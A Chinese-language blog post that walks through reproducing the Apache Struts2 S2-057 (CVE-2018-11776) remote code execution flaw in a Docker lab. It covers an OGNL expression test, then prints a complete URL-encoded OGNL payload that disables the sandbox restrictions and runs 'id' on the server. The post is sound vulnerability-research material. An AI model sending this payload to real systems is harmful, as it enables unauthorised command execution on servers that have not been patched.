Struts2-057 (CVE-2018-11776) 远程代码执行漏洞复现 – 作者:cloudcoll

一、使用docker搭建环境

docker安装及搭建环境教程:https://www.freebuf.com/sectool/252257.html

1605064621_5fab57adb52ffb9ba4d0a.png!small?1605064622865

访问页面     http://ip:8080/struts2-showcase

1605064819_5fab5873f1ed3aca922de.png!small?1605064821027

二、漏洞验证

访问  /struts2-showcase/${(111+111)}/actionChain1.action  试试看

1605065193_5fab59e99498322c5bdb9.png!small?1605065194660

变成了  /struts2-showcase/222/register2.action

1605065208_5fab59f8a4cf89293937f.png!small?1605065209739

执行了,说明可能存在struts2-057漏洞

三、漏洞利用

执行命令的poc

/index/%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27id%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action

1605073274_5fab797ad46434c602fee.png!small?1605073275877

执行,得到了id命令执行的返回(url中)1605073288_5fab7988da4b7cdbd882b.png!small?1605073289971

来源:freebuf.com 2020-11-11 13:58:11 by: cloudcoll

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论